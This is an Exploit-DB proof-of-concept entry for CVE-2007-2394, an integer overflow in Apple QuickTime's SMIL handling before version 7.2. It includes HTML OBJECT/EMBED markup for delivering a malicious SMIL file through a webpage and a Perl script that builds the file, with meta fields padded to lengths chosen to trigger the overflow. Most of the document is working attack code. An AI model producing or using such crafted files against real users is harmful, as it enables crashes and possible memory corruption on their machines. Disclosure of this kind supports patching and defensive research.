Apple Quicktime < 7.2 - SMIL Remote Integer Overflow PoC

2007-09-03T00:00:00
ID EDB-ID:4359
Type exploitdb
Reporter David Vaartjes
Modified 2007-09-03T00:00:00

Description

Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC. CVE-2007-2394. Dos exploits for multiple platform

                                        
                                            ----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

&lt;OBJECT
  CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
  CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
  WIDTH="10" HEIGHT="10" &gt;
  &lt;!-- malicious SMIL file --&gt;
  &lt;PARAM NAME="src" VALUE="poc.smil" /&gt;
  &lt;EMBED
    &lt;!-- available .qtif or .mov file to start up QT for FF --&gt;
    SRC="available-sample.qtif"
    &lt;!-- malicious SMIL file --&gt;
    QTSRC="poc.smil"
    WIDTH="10" HEIGHT="10"
    PLUGINSPAGE=" www.apple.com/quicktime/download"
    TYPE="video/quicktime"
  /&gt;
&lt;/OBJECT&gt;

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes &lt;d.vaartjes at gmail.com&gt;
####

$file = " poc.smil";
$padd = "x";
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,"&gt;$file") or die "Can't open file:$!";

print FH
 "&lt;smil&gt;\n".
 "&lt;head&gt;\n".
 " &lt;meta name=\"title\" content=\"".$padd x $tit_len."\"/&gt;\n".
 " &lt;meta name=\"author\" content=\"".$padd x $auth_len."\"/&gt;\n".
 " &lt;meta name=\"copyright\" content=\"".$padd x $cop_len."\"/&gt;\n".
 "&lt;/head&gt;\n".
 "&lt;/smil&gt;";

close(FH);

# milw0rm.com [2007-09-03]